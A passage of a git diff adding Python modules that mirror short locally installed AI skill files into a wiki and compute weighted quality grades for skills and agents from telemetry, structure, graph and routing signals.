+def cmd_infer(args: argparse.Namespace) -> int:
+    tags = [t.strip() for t in args.tags.split(",") if t.strip()]
+    category = infer_category(tags)
+    print(category or "unresolved")
+    return 0 if category else 1
+
+
+def build_argparser() -> argparse.ArgumentParser:
+    p = argparse.ArgumentParser(
+        prog="skill_category",
+        description="Closed-set category inference + frontmatter backfill.",
+    )
+    sub = p.add_subparsers(dest="cmd", required=True)
+
+    b = sub.add_parser("backfill", help="Walk corpus and fill missing category fields")
+    b.add_argument("--dry-run", action="store_true")
+    b.add_argument("--json", action="store_true")
+    b.add_argument("--verbose", action="store_true",
+                   help="list unresolved files at the end")
+    b.set_defaults(func=cmd_backfill)
+
+    i = sub.add_parser("infer", help="Infer a category from a comma-separated tag list")
+    i.add_argument("tags")
+    i.set_defaults(func=cmd_infer)
+
+    return p
+
+
+def main(argv: list[str] | None = None) -> int:
+    parser = build_argparser()
+    args = parser.parse_args(argv)
+    return int(args.func(args))
+
+
+if __name__ == "__main__":
+    sys.exit(main())
+
+
+__all__ = [
+    "CATEGORIES",
+    "backfill_corpus",
+    "backfill_file",
+    "infer_category",
+    "main",
+    "read_existing_category",
+    "set_category",
+]
diff --git a/src/skill_mirror.py b/src/skill_mirror.py
new file mode 100644
index 0000000000000000000000000000000000000000..d58a1bdae6d55b2daf54910491650dd96284303e
--- /dev/null
+++ b/src/skill_mirror.py
@@ -0,0 +1,378 @@
+#!/usr/bin/env python3
+"""
+skill_mirror.py -- Mirror locally-installed short skills into the wiki.
+
+Context: `/converted//SKILL.md` is the canonical source that
+`ctx-skill-install` reads from. Long skills (> cfg.line_threshold lines,
+default 180) go through `batch_convert` into a `converted//` with
+SKILL.md + references/*.md. Short skills skip the pipeline — their
+content lives ONLY at `~/.claude/skills//SKILL.md` on the
+maintainer's machine, NOT in the wiki. That breaks portability:
+  - The shipped `graph/wiki-graph.tar.gz` lists them in `entities/skills/`
+    but the install CLI returns `not-in-wiki` because there's no
+    `converted//SKILL.md`.
+  - A fresh-clone user can browse them in the catalog but can't install.
+
+This module scans `~/.claude/skills//SKILL.md` and, for every slug
+that has no `/converted//` dir yet, writes a minimal
+`converted//SKILL.md` containing the local body verbatim. Long
+skills with existing `converted/` are left untouched.
+
+The CLI is a one-shot admin operation. `ctx-skill-install` stays
+exactly as-is — its `_pick_source` already reads `converted//
+SKILL.md` which is now populated for every skill.
+
+Usage:
+    ctx-skill-mirror                     # mirror everything missing
+    ctx-skill-mirror --slug foo          # mirror one slug
+    ctx-skill-mirror --force             # overwrite even when converted/
+                                         # exists (for re-sync after a
+                                         # local edit)
+    ctx-skill-mirror --dry-run           # report without writing
+    ctx-skill-mirror --prune             # delete mirrors whose local
+                                         # source has disappeared
+"""
+
+from __future__ import annotations
+
+import argparse
+import json
+import logging
+import os
+import sys
+from dataclasses import dataclass
+from pathlib import Path
+
+from ctx.utils._fs_utils import atomic_write_text as _atomic_write_text
+from ctx_config import cfg
+from ctx.core.wiki.wiki_utils import validate_skill_name
+
+_logger = logging.getLogger(__name__)
+
+
+@dataclass(frozen=True)
+class MirrorResult:
+    """One outcome per slug."""
+
+    slug: str
+    status: str  # "mirrored" | "unchanged" | "skipped-existing-pipeline"
+                 # | "skipped-too-long" | "skipped-invalid"
+                 # | "pruned" | "not-found"
+    source_path: str | None
+    dest_path: str | None
+    body_lines: int | None = None
+    message: str = ""
+
+
+# ── Local scan ───────────────────────────────────────────────────────────────
+
+
+def _iter_local_skill_dirs(skills_dir: Path) -> list[Path]:
+    """Every `//` containing a SKILL.md. Sorted for stable logs."""
+    if not skills_dir.is_dir():
+        return []
+    out: list[Path] = []
+    for child in sorted(skills_dir.iterdir()):
+        if not child.is_dir():
+            continue
+        if (child / "SKILL.md").is_file():
+            out.append(child)
+    return out
+
+
+def _line_count(text: str) -> int:
+    """Count lines in text. Trailing newline doesn't add an extra line."""
+    if not text:
+        return 0
+    return text.count("\n") + (0 if text.endswith("\n") else 1)
+
+
+# ── Per-slug mirror ──────────────────────────────────────────────────────────
+
+
+def _converted_dir(wiki_dir: Path, slug: str) -> Path:
+    return wiki_dir / "converted" / slug
+
+
+def mirror_one(
+    slug: str,
+    *,
+    skills_dir: Path,
+    wiki_dir: Path,
+    line_threshold: int,
+    force: bool = False,
+    dry_run: bool = False,
+) -> MirrorResult:
+    """Mirror one local short skill's SKILL.md into the wiki.
+
+    Behaviour:
+      - `/converted//` already exists AND not force: return
+        `skipped-existing-pipeline`. The long-skill pipeline owns this
+        dir; we must not overwrite its SKILL.md with the raw body.
+      - Local skill body exceeds `line_threshold`: return
+        `skipped-too-long`. Those belong in the pipeline, not here.
+      - Slug fails `validate_skill_name`: return `skipped-invalid`.
+      - `~/.claude/skills//SKILL.md` missing: return `not-found`.
+      - Otherwise: write `/converted//SKILL.md` with the
+        body verbatim. Return `mirrored` (or `unchanged` when the
+        destination already matches byte-for-byte and force is off).
+    """
+    try:
+        validate_skill_name(slug)
+    except ValueError as exc:
+        return MirrorResult(
+            slug=slug, status="skipped-invalid",
+            source_path=None, dest_path=None,
+            message=f"invalid slug: {exc}",
+        )
+
+    source = skills_dir / slug / "SKILL.md"
+    if not source.is_file():
+        return MirrorResult(
+            slug=slug, status="not-found",
+            source_path=None, dest_path=None,
+            message=f"no local skill at {source}",
+        )
+
+    try:
+        body = source.read_text(encoding="utf-8", errors="replace")
+    except OSError as exc:
+        return MirrorResult(
+            slug=slug, status="skipped-invalid",
+            source_path=str(source), dest_path=None,
+            message=f"read failed: {exc}",
+        )
+    lines = _line_count(body)
+
+    if lines > line_threshold:
+        # Long skills go through batch_convert. Refusing them here
+        # prevents a mirror from clobbering a legit pipeline.
+        return MirrorResult(
+            slug=slug, status="skipped-too-long",
+            source_path=str(source), dest_path=None, body_lines=lines,
+            message=(
+                f"{lines} lines > line_threshold={line_threshold}; "
+                "use ctx-skill-add / batch_convert for long skills"
+            ),
+        )
+
+    dest_dir = _converted_dir(wiki_dir, slug)
+    dest = dest_dir / "SKILL.md"
+
+    # Existing converted// dir usually means the long-skill pipeline
+    # produced it. Don't overwrite without --force: an accidental mirror
+    # call must never replace a pipeline-converted SKILL.md with raw body.
+    if dest_dir.is_dir() and not force:
+        if dest.is_file():
+            try:
+                existing = dest.read_text(encoding="utf-8", errors="replace")
+            except OSError:
+                existing = ""
+            if existing == body:
+                return MirrorResult(
+                    slug=slug, status="unchanged",
+                    source_path=str(source), dest_path=str(dest),
+                    body_lines=lines,
+                )
+        return MirrorResult(
+            slug=slug, status="skipped-existing-pipeline",
+            source_path=str(source), dest_path=str(dest), body_lines=lines,
+            message="converted// already exists; pass --force to overwrite",
+        )
+
+    if dry_run:
+        return MirrorResult(
+            slug=slug, status="mirrored",
+            source_path=str(source), dest_path=str(dest), body_lines=lines,
+            message="dry-run: no files written",
+        )
+
+    dest_dir.mkdir(parents=True, exist_ok=True)
+    _atomic_write_text(dest, body)
+    return MirrorResult(
+        slug=slug, status="mirrored",
+        source_path=str(source), dest_path=str(dest), body_lines=lines,
+    )
+
+
+# ── Bulk mirror ──────────────────────────────────────────────────────────────
+
+
+def mirror_all(
+    *,
+    skills_dir: Path,
+    wiki_dir: Path,
+    line_threshold: int,
+    force: bool = False,
+    dry_run: bool = False,
+) -> list[MirrorResult]:
+    """Mirror every short local skill that has no wiki converted/ dir."""
+    results: list[MirrorResult] = []
+    for path in _iter_local_skill_dirs(skills_dir):
+        slug = path.name
+        results.append(mirror_one(
+            slug, skills_dir=skills_dir, wiki_dir=wiki_dir,
+            line_threshold=line_threshold, force=force, dry_run=dry_run,
+        ))
+    return results
+
+
+def prune_orphans(
+    *,
+    skills_dir: Path,
+    wiki_dir: Path,
+    dry_run: bool = False,
+) -> list[MirrorResult]:
+    """Delete short-skill mirror dirs whose local source vanished.
+
+    ONLY deletes mirror dirs that match the short-skill shape — a
+    single ``SKILL.md`` and nothing else. Long-skill pipeline dirs
+    (SKILL.md + references/ + the rest) are left alone even if the
+    local skill has been uninstalled — those dirs carry converted
+    content derived from the original, not a raw mirror.
+    """
+    mirror_root = wiki_dir / "converted"
+    if not mirror_root.is_dir():
+        return []
+    results: list[MirrorResult] = []
+    for conv_dir in sorted(mirror_root.iterdir()):
+        if not conv_dir.is_dir():
+            continue
+        slug = conv_dir.name
+        local_src = skills_dir / slug / "SKILL.md"
+        if local_src.is_file():
+            continue  # still present upstream
+        # Don't touch long-skill pipelines — they have references/ or
+        # other siblings beyond SKILL.md.
+        contents = {p.name for p in conv_dir.iterdir()}
+        if contents and contents != {"SKILL.md"}:
+            continue
+        if dry_run:
+            results.append(MirrorResult(
+                slug=slug, status="pruned",
+                source_path=None, dest_path=str(conv_dir),
+                message="dry-run: would delete",
+            ))
+            continue
+        try:
+            for f in conv_dir.iterdir():
+                f.unlink()
+            conv_dir.rmdir()
+            results.append(MirrorResult(
+                slug=slug, status="pruned",
+                source_path=None, dest_path=str(conv_dir),
+            ))
+        except OSError as exc:
+            results.append(MirrorResult(
+                slug=slug, status="skipped-invalid",
+                source_path=None, dest_path=str(conv_dir),
+                message=f"unlink failed: {exc}",
+            ))
+    return results
+
+
+# ── CLI ──────────────────────────────────────────────────────────────────────
+
+
+def _summarize(results: list[MirrorResult]) -> dict[str, int]:
+    counts: dict[str, int] = {}
+    for r in results:
+        counts[r.status] = counts.get(r.status, 0) + 1
+    return counts
+
+
+def _build_parser() -> argparse.ArgumentParser:
+    parser = argparse.ArgumentParser(
+        prog="ctx-skill-mirror",
+        description=(
+            "Mirror short skills (/converted//SKILL.md "
+            "so ctx-skill-install finds them after a fresh tarball "
+            "extract. Companion to ctx-agent-mirror."
+        ),
+    )
+    parser.add_argument("--slug", help="Mirror a single slug")
+    parser.add_argument(
+        "--force", action="store_true",
+        help="Rewrite mirrored files even when converted// exists",
+    )
+    parser.add_argument(
+        "--prune", action="store_true",
+        help="Delete short-skill mirror dirs whose local source vanished",
+    )
+    parser.add_argument(
+        "--dry-run", action="store_true",
+        help="Report what would happen without writing",
+    )
+    parser.add_argument(
+        "--skills-dir", default=str(cfg.skills_dir),
+        help="Live skills dir (default: cfg.skills_dir)",
+    )
+    parser.add_argument(
+        "--wiki-dir", default=str(cfg.wiki_dir),
+        help="Wiki root (default: cfg.wiki_dir)",
+    )
+    parser.add_argument(
+        "--line-threshold", type=int, default=cfg.line_threshold,
+        help=(
+            f"Max lines for a skill to qualify as short "
+            f"(default {cfg.line_threshold}; skills above this belong "
+            "in the batch_convert pipeline, not here)"
+        ),
+    )
+    parser.add_argument(
+        "--json", action="store_true",
+        help="Emit results as JSON for automation",
+    )
+    return parser
+
+
+def main() -> None:
+    parser = _build_parser()
+    args = parser.parse_args()
+
+    skills_dir = Path(os.path.expanduser(args.skills_dir))
+    wiki_dir = Path(os.path.expanduser(args.wiki_dir))
+
+    results: list[MirrorResult] = []
+    if args.slug:
+        results.append(mirror_one(
+            args.slug, skills_dir=skills_dir, wiki_dir=wiki_dir,
+            line_threshold=args.line_threshold,
+            force=args.force, dry_run=args.dry_run,
+        ))
+    else:
+        results.extend(mirror_all(
+            skills_dir=skills_dir, wiki_dir=wiki_dir,
+            line_threshold=args.line_threshold,
+            force=args.force, dry_run=args.dry_run,
+        ))
+        if args.prune:
+            results.extend(prune_orphans(
+                skills_dir=skills_dir, wiki_dir=wiki_dir,
+                dry_run=args.dry_run,
+            ))
+
+    if args.json:
+        print(json.dumps([r.__dict__ for r in results], indent=2))
+    else:
+        counts = _summarize(results)
+        print("Skill-mirror summary:")
+        for status in sorted(counts):
+            print(f"  {status}: {counts[status]}")
+        # Surface unexpected outcomes explicitly.
+        for r in results:
+            if r.status not in ("mirrored", "unchanged", "skipped-too-long",
+                                "skipped-existing-pipeline"):
+                print(f"  [{r.status}] {r.slug}: {r.message}")
+
+    hard_failures = [
+        r for r in results
+        if r.status == "skipped-invalid"
+        and r.message.startswith(("read failed", "unlink failed"))
+    ]
+    sys.exit(1 if hard_failures else 0)
+
+
+if __name__ == "__main__":
+    main()
diff --git a/src/skill_quality.py b/src/skill_quality.py
new file mode 100644
index 0000000000000000000000000000000000000000..a5f87d72f63be86f07a010ea81984175825e29a3
--- /dev/null
+++ b/src/skill_quality.py
@@ -0,0 +1,1243 @@
+#!/usr/bin/env python3
+"""
+skill_quality.py -- Post-install quality scorer + three-sink persistence.
+
+Phase 3 of the skill-quality plan (see ``docs/roadmap/skill-quality.md``).
+
+Flow:
+
+  1. ``extract_signals_for_slug`` gathers the four signal inputs by
+     reading telemetry events, re-parsing the on-disk skill/agent file,
+     consulting the wiki graph, and pulling router-trace counts.
+  2. ``compute_quality`` aggregates those ``SignalResult`` instances via
+     a weighted sum, applies hard floors, and maps to an A/B/C/D/F grade.
+  3. ``persist_quality`` mirrors the result to three on-disk sinks so every
+     downstream consumer — Obsidian, machine-readable automations, the wiki
+     UI — can see the same number.
+
+Persistence sinks (Q3 in the plan doc):
+
+  - Sidecar JSON — ``~/.claude/skill-quality/.json`` (canonical
+    machine-readable form; source of truth for the graph writer).
+  - Frontmatter — ``quality_score``, ``quality_grade``,
+    ``quality_updated_at`` keys on the wiki entity page.
+  - Wiki body — a ``## Quality`` section with the grade + breakdown
+    rendered in Markdown.
+
+  The knowledge-graph node attribute is a **separate consumer path**:
+  ``wiki_graphify`` reads the sidecar JSON on its next build and attaches
+  quality attributes to graph nodes. It is not a write path owned by this
+  module.
+
+CLI verbs:
+
+  - ``recompute``  — recompute one or more slugs (--all / --slugs / --slug).
+  - ``show``       — print the current score for a slug.
+  - ``explain``    — print the signal breakdown + evidence for a slug.
+  - ``list``       — list every known slug with its grade (piped to tools).
+"""
+
+from __future__ import annotations
+
+import argparse
+import json
+import logging
+import os
+import re
+import sys
+from dataclasses import dataclass, field
+from datetime import datetime, timezone
+from pathlib import Path
+from typing import Any, Iterable, Literal, Mapping, Protocol, runtime_checkable
+
+from ctx.core.quality.quality_signals import (
+    SignalResult,
+    graph_signal,
+    intake_signal,
+    routing_signal,
+    telemetry_signal,
+)
+from ctx.utils._fs_utils import atomic_write_text as _atomic_write
+from ctx.core.wiki.wiki_utils import SAFE_NAME_RE as _SLUG_RE, parse_frontmatter_and_body
+
+_logger = logging.getLogger(__name__)
+
+
+# ────────────────────────────────────────────────────────────────────
+# Config (static defaults; user override via ctx_config.cfg)
+# ────────────────────────────────────────────────────────────────────
+
+
+# Default signal weights for skills. Sum must be 1.0. Telemetry gets the
+# largest slice because it's the one signal that meaningfully changes
+# after install; the other three are structural and move slowly.
+_DEFAULT_WEIGHTS: dict[str, float] = {
+    "telemetry": 0.40,
+    "intake": 0.20,
+    "graph": 0.25,
+    "routing": 0.15,
+}
+
+# Default signal weights for agents. Agents are invoked deliberately and
+# rarely — a seldom-used agent isn't stale, it's specialized — so
+# telemetry is a weaker quality signal for them than for skills. Graph
+# connectedness and intake structure carry more of the weight instead.
+_DEFAULT_AGENT_WEIGHTS: dict[str, float] = {
+    "telemetry": 0.15,
+    "intake": 0.30,
+    "graph": 0.35,
+    "routing": 0.20,
+}
+
+# Grade cutoffs. Score must meet or exceed the threshold for that grade.
+_DEFAULT_GRADE_THRESHOLDS: dict[str, float] = {
+    "A": 0.80,
+    "B": 0.60,
+    "C": 0.40,
+}
+
+# Hard-floor thresholds applied after the weighted sum.
+_DEFAULT_STALE_THRESHOLD_DAYS: float = 30.0
+_DEFAULT_RECENT_WINDOW_DAYS: float = 14.0
+_DEFAULT_MIN_BODY_CHARS: int = 120
+
+
+def _ensure_safe_slug(slug: str) -> str:
+    """Reject slugs that could traverse out of the sidecar directory."""
+    if not isinstance(slug, str) or not _SLUG_RE.match(slug):
+        raise ValueError(f"invalid quality slug: {slug!r}")
+    return slug
+
+
+_WEIGHT_KEYS: frozenset[str] = frozenset(
+    {"telemetry", "intake", "graph", "routing"}
+)
+
+
+def _validate_weight_vector(name: str, weights: Mapping[str, float]) -> None:
+    if set(weights) != _WEIGHT_KEYS:
+        raise ValueError(
+            f"{name} must supply exactly: telemetry, intake, graph, routing"
+        )
+    total = sum(weights.values())
+    if not 0.99 <= total <= 1.01:
+        raise ValueError(f"{name} must sum to 1.0; got {total:.4f}")
+    for k, v in weights.items():
+        if v < 0:
+            raise ValueError(f"{name} weight for {k!r} must be >= 0, got {v}")
+
+
+@dataclass(frozen=True)
+class QualityConfig:
+    """All knobs used by the scorer. Frozen so tests cannot mutate by accident."""
+
+    weights: Mapping[str, float] = field(
+        default_factory=lambda: dict(_DEFAULT_WEIGHTS)
+    )
+    agent_weights: Mapping[str, float] = field(
+        default_factory=lambda: dict(_DEFAULT_AGENT_WEIGHTS)
+    )
+    grade_thresholds: Mapping[str, float] = field(
+        default_factory=lambda: dict(_DEFAULT_GRADE_THRESHOLDS)
+    )
+    stale_threshold_days: float = _DEFAULT_STALE_THRESHOLD_DAYS
+    recent_window_days: float = _DEFAULT_RECENT_WINDOW_DAYS
+    min_body_chars: int = _DEFAULT_MIN_BODY_CHARS
+
+    def __post_init__(self) -> None:
+        _validate_weight_vector("weights", self.weights)
+        _validate_weight_vector("agent_weights", self.agent_weights)
+        if set(self.grade_thresholds) != {"A", "B", "C"}:
+            raise ValueError("grade_thresholds must supply A, B, C cutoffs")
+        a = self.grade_thresholds["A"]
+        b = self.grade_thresholds["B"]
+        c = self.grade_thresholds["C"]
+        if not 0.0 <= c <= b <= a <= 1.0:
+            raise ValueError(
+                "grade thresholds must satisfy 0 <= C <= B <= A <= 1"
+            )
+        if self.stale_threshold_days <= 0:
+            raise ValueError("stale_threshold_days must be > 0")
+        if self.recent_window_days <= 0:
+            raise ValueError("recent_window_days must be > 0")
+        if self.min_body_chars < 0:
+            raise ValueError("min_body_chars must be >= 0")
+
+    def weights_for(self, subject_type: str) -> Mapping[str, float]:
+        """Pick the weight vector that applies to this subject_type."""
+        if subject_type == "agent":
+            return self.agent_weights
+        return self.weights
+
+
+# ────────────────────────────────────────────────────────────────────
+# Result types
+# ────────────────────────────────────────────────────────────────────
+
+
+@dataclass(frozen=True)
+class QualityScore:
+    """One skill's quality score snapshot — frozen for safe sharing."""
+
+    slug: str
+    subject_type: str                  # "skill" | "agent"
+    raw_score: float                   # weighted sum before floors
+    score: float                       # final, after floors + clamp
+    grade: str                         # A / B / C / D / F
+    hard_floor: str | None             # which floor fired, if any
+    signals: Mapping[str, SignalResult] = field(default_factory=dict)
+    weights: Mapping[str, float] = field(default_factory=dict)
+    computed_at: str = ""              # ISO-8601 UTC
+
+    def to_dict(self) -> dict[str, Any]:
+        return {
+            "slug": self.slug,
+            "subject_type": self.subject_type,
+            "raw_score": round(self.raw_score, 4),
+            "score": round(self.score, 4),
+            "grade": self.grade,
+            "hard_floor": self.hard_floor,
+            "signals": {
+                name: {
+                    "score": round(sig.score, 4),
+                    "evidence": dict(sig.evidence),
+                }
+                for name, sig in self.signals.items()
+            },
+            "weights": dict(self.weights),
+            "computed_at": self.computed_at,
+        }
+
+
+# ────────────────────────────────────────────────────────────────────
+# Paths
+# ────────────────────────────────────────────────────────────────────
+
+
+def default_sidecar_dir() -> Path:
+    """Directory where per-slug quality JSONs land.
+
+    Honours ``quality.paths.sidecar_dir`` from ``ctx_config.cfg`` when
+    set; falls back to ``~/.claude/skill-quality`` otherwise.
+    """
+    try:
+        from ctx_config import cfg  # local import to avoid cost on test import
+        raw = cfg.get("quality", {}) or {}
+        paths = raw.get("paths", {}) if isinstance(raw, dict) else {}
+        configured = paths.get("sidecar_dir") if isinstance(paths, dict) else None
+        if isinstance(configured, str) and configured.strip():
+            return Path(os.path.expanduser(configured))
+    except Exception:  # noqa: BLE001 — config unavailable in some test contexts
+        pass
+    return Path(os.path.expanduser("~/.claude/skill-quality"))
+
+
+def sidecar_path(slug: str, *, sidecar_dir: Path | None = None) -> Path:
+    _ensure_safe_slug(slug)
+    root = sidecar_dir if sidecar_dir is not None else default_sidecar_dir()
+    return root / f"{slug}.json"
+
+
+def _now_iso() -> str:
+    return datetime.now(timezone.utc).isoformat(timespec="seconds")
+
+
+# ────────────────────────────────────────────────────────────────────
+# Core scoring
+# ────────────────────────────────────────────────────────────────────
+
+
+def _grade_from_score(score: float, thresholds: Mapping[str, float]) -> str:
+    """Map a numeric score to a letter grade A/B/C/D.
+
+    Note: This function does **not** return F. Grade F is produced
+    exclusively by the ``intake_fail`` hard-floor override in
+    ``compute_quality()`` when the intake signal reports a structural
+    failure.  A score of 0.0 returns D (the lowest score-derived grade).
+    """
+    if score >= thresholds["A"]:
+        return "A"
+    if score >= thresholds["B"]:
+        return "B"
+    if score >= thresholds["C"]:
+        return "C"
+    return "D"
+
+
+def compute_quality(
+    *,
+    slug: str,
+    subject_type: str,
+    signals: Mapping[str, SignalResult],
+    config: QualityConfig | None = None,
+    computed_at: str | None = None,
+) -> QualityScore:
+    """Aggregate signals → score → grade, applying hard floors.
+
+    Hard floors override the weighted grade:
+      - Any intake ``hard_fail`` → grade F (entity currently violates
+        the structural gate; remediate the file or unlist it). Applies
+        to both skills and agents.
+      - ``never_loaded`` on a **skill** → grade D, regardless of
+        graph/intake strength. Evidence lives in the telemetry signal;
+        we just check the flag here. This floor does NOT apply to
+        agents — agents are invoked via the Agent tool and do not emit
+        load events, so a zero telemetry signal is the expected steady
+        state for them rather than a staleness signal.
+
+    Weight vector is selected per subject_type: skills use
+    ``config.weights`` (telemetry-heavy), agents use
+    ``config.agent_weights`` (structure-heavy).
+    """
+    _ensure_safe_slug(slug)
+    if subject_type not in ("skill", "agent"):
+        raise ValueError(f"subject_type must be 'skill' or 'agent': {subject_type!r}")
+    cfg = config or QualityConfig()
+    weights = cfg.weights_for(subject_type)
+
+    required = {"telemetry", "intake", "graph", "routing"}
+    if set(signals) != required:
+        missing = required - set(signals)
+        extra = set(signals) - required
+        raise ValueError(
+            f"signals keys mismatch: missing={sorted(missing)}, extra={sorted(extra)}"
+        )
+
+    raw = sum(weights[name] * signals[name].score for name in required)
+    score = max(0.0, min(1.0, raw))
+
+    hard_floor: str | None = None
+    intake_evidence = signals["intake"].evidence or {}
+    if intake_evidence.get("hard_fail"):
+        hard_floor = "intake_fail"
+        grade = "F"
+    elif subject_type == "skill":
+        telemetry_evidence = signals["telemetry"].evidence or {}
+        never_loaded = bool(telemetry_evidence.get("never_loaded"))
+        # Without telemetry we cannot tell stale from never-seen. Treat
+        # "never_loaded" as prima facie stale when the skill exists —
+        # the scorer's job is to push low-signal entries toward review.
+        if never_loaded:
+            hard_floor = "never_loaded_stale"
+            grade = _grade_from_score(score, cfg.grade_thresholds)
+            # Floor to at most D when it would otherwise have graded higher.
+            if grade in ("A", "B", "C"):
+                grade = "D"
+        else:
+            grade = _grade_from_score(score, cfg.grade_thresholds)
+    else:
+        # Agent: no load-event stream exists, so the never_loaded flag
+        # on the telemetry signal is not a quality signal. Grade
+        # straight from the weighted sum (which already weights
+        # telemetry lightly for agents).
+        grade = _grade_from_score(score, cfg.grade_thresholds)
+
+    return QualityScore(
+        slug=slug,
+        subject_type=subject_type,
+        raw_score=raw,
+        score=score,
+        grade=grade,
+        hard_floor=hard_floor,
+        signals=dict(signals),
+        weights=dict(weights),
+        computed_at=computed_at or _now_iso(),
+    )
+
+
+# ────────────────────────────────────────────────────────────────────
+# Signal extraction (the impure layer)
+# ────────────────────────────────────────────────────────────────────
+
+
+@dataclass(frozen=True)
+class SignalSources:
+    """Paths + already-loaded structures the extractor needs."""
+
+    skills_dir: Path
+    agents_dir: Path
+    wiki_dir: Path
+    events_path: Path
+    router_trace_path: Path | None = None
+    # ``graph_index`` may be supplied pre-built by the caller (the stop
+    # hook does this so every slug scored in the same tick shares one
+    # graph walk). When None, ``extract_signals_for_slug`` falls back to
+    # a cheap structural walk of entity frontmatter.
+    graph_index: Mapping[str, Mapping[str, Any]] | None = None
+    # ``events_index`` may be supplied pre-built by ``recompute_all`` so
+    # that a full --all recompute reads the JSONL once instead of once
+    # per slug.  Keys are slug strings; values are lists of raw event
+    # dicts.  When None, ``_compute_telemetry_inputs`` scans the file
+    # directly (preserving the single-slug O(M) behaviour).
+    events_index: Mapping[str, list[dict[str, Any]]] | None = None
+
+
+def _read_skill_source(slug: str, sources: SignalSources) -> tuple[str, str]:
+    """Return (subject_type, raw_md). Raises FileNotFoundError if neither exists.
+
+    Skills live at ``//SKILL.md``; agents live at
+    ``/.md``. We treat skills as the default because
+    they're the larger corpus; Phase 5 will add proper agent parity.
+    """
+    skill_path = sources.skills_dir / slug / "SKILL.md"
+    if skill_path.is_file():
+        return "skill", skill_path.read_text(encoding="utf-8", errors="replace")
+    # Agents may live in nested subdirectories (e.g. agents/design/foo.md).
+    # Try exact flat path first (O(1)), then fall back to an rglob scan.
+    agent_path = sources.agents_dir / f"{slug}.md"
+    if agent_path.is_file():
+        return "agent", agent_path.read_text(encoding="utf-8", errors="replace")
+    if sources.agents_dir.is_dir():
+        matches = [
+            p for p in sources.agents_dir.rglob(f"{slug}.md")
+            if p.is_file()
+        ]
+        if len(matches) > 1:
+            raise FileNotFoundError(
+                f"ambiguous agent slug {slug!r}: found {len(matches)} files "
+                f"under {sources.agents_dir}: {[str(m) for m in matches]}"
+            )
+        if len(matches) == 1:
+            return "agent", matches[0].read_text(encoding="utf-8", errors="replace")
+    raise FileNotFoundError(
+        f"no skill or agent file found for slug {slug!r} under "
+        f"{sources.skills_dir} or {sources.agents_dir}"
+    )
+
+
+def _iter_events_for_slug(slug: str, events_path: Path) -> Iterable[dict[str, Any]]:
+    """Yield raw event dicts for one slug, skipping malformed lines."""
+    if not events_path.is_file():
+        return
+    try:
+        fh = events_path.open(encoding="utf-8")
+    except OSError:
+        return
+    with fh:
+        for raw in fh:
+            line = raw.strip()
+            if not line:
+                continue
+            try:
+                obj = json.loads(line)
+            except json.JSONDecodeError:
+                continue
+            if isinstance(obj, dict) and obj.get("skill") == slug:
+                yield obj
+
+
+def _parse_event_ts(ts: str) -> datetime | None:
+    try:
+        parsed = datetime.fromisoformat(ts)
+    except (ValueError, TypeError):
+        return None
+    if parsed.tzinfo is None:
+        parsed = parsed.replace(tzinfo=timezone.utc)
+    return parsed.astimezone(timezone.utc)
+
+
+def _compute_telemetry_inputs(
+    slug: str,
+    events_path: Path,
+    *,
+    now: datetime,
+    recent_window_days: float,
+    events_override: list[dict[str, Any]] | None = None,
+) -> dict[str, Any]:
+    """Walk the event stream once and derive telemetry inputs.
+
+    When ``events_override`` is provided (a pre-filtered list of events
+    for this slug), it is used directly instead of scanning
+    ``events_path``.  This allows callers that already built a full
+    events index to avoid redundant O(M) file scans per slug.
+    """
+    load_count = 0
+    recent_load_count = 0
+    last_load_at: datetime | None = None
+    recent_cutoff = now.timestamp() - recent_window_days * 86400.0
+
+    event_iter: Iterable[dict[str, Any]] = (
+        events_override
+        if events_override is not None
+        else _iter_events_for_slug(slug, events_path)
+    )
+    for obj in event_iter:
+        if obj.get("event") != "load":
+            continue
+        ts = _parse_event_ts(str(obj.get("timestamp", "")))
+        if ts is None:
+            continue
+        load_count += 1
+        if ts.timestamp() >= recent_cutoff:
+            recent_load_count += 1
+        if last_load_at is None or ts > last_load_at:
+            last_load_at = ts
+
+    last_load_age_days: float | None
+    if last_load_at is None:
+        last_load_age_days = None
+    else:
+        delta = (now - last_load_at).total_seconds()
+        last_load_age_days = max(0.0, delta / 86400.0)
+
+    return {
+        "load_count": load_count,
+        "recent_load_count": recent_load_count,
+        "last_load_age_days": last_load_age_days,
+    }
+
+
+def _compute_routing_inputs(
+    slug: str, trace_path: Path | None
+) -> dict[str, int]:
+    """Count ``considered`` and ``picked`` events for one slug.
+
+    Trace format (JSONL): ``{"skill": "...", "considered": true,
+    "picked": true | false, "timestamp": "..."}``. Missing file → zeros,
+    which pushes the routing signal into its neutral-prior branch.
+    """
+    if trace_path is None or not trace_path.is_file():
+        return {"considered": 0, "picked": 0}
+    considered = 0
+    picked = 0
+    try:
+        with trace_path.open(encoding="utf-8") as fh:
+            for raw in fh:
+                line = raw.strip()
+                if not line:
+                    continue
+                try:
+                    obj = json.loads(line)
+                except json.JSONDecodeError:
+                    continue
+                if not isinstance(obj, dict) or obj.get("skill") != slug:
+                    continue
+                if obj.get("considered"):
+                    considered += 1
+                if obj.get("picked"):
+                    picked += 1
+    except OSError:
+        return {"considered": 0, "picked": 0}
+    # Router may log picks without an explicit ``considered`` marker.
+    # A pick implies consideration, so raise the floor accordingly.
+    considered = max(considered, picked)
+    return {"considered": considered, "picked": picked}
+
+
+def _compute_graph_inputs(
+    slug: str,
+    subject_type: str,
+    graph_index: Mapping[str, Mapping[str, Any]] | None,
+) -> dict[str, Any]:
+    """Read degree + average edge weight from a pre-built graph index.
+
+    When ``graph_index`` is None the caller is running with no graph
+    data available (first-run bootstrap, tests, or a wiki that has not
+    yet been graphified). Return zeros — the signal's isolated-node
+    branch keeps its score at 0 in that case, which is accurate: until
+    the graph exists, nothing is connected.
+    """
+    if graph_index is None:
+        return {"degree": 0, "avg_edge_weight": 0.0}
+    key = f"{subject_type}:{slug}"
+    node = graph_index.get(key)
+    if not isinstance(node, Mapping):
+        return {"degree": 0, "avg_edge_weight": 0.0}
+    degree = int(node.get("degree", 0))
+    avg_weight = float(node.get("avg_edge_weight", 1.0)) if degree > 0 else 0.0
+    return {"degree": degree, "avg_edge_weight": avg_weight}
+
+
+def extract_signals_for_slug(
+    slug: str,
+    *,
+    sources: SignalSources,
+    config: QualityConfig | None = None,
+    now: datetime | None = None,
+) -> tuple[str, dict[str, SignalResult]]:
+    """Compute all four signals for one slug. Returns (subject_type, signals)."""
+    _ensure_safe_slug(slug)
+    cfg = config or QualityConfig()
+    ts = now or datetime.now(timezone.utc)
+
+    subject_type, raw_md = _read_skill_source(slug, sources)
+    fm, body = parse_frontmatter_and_body(raw_md)
+    has_fm_block = raw_md.lstrip().startswith("---")
+
+    events_override = (
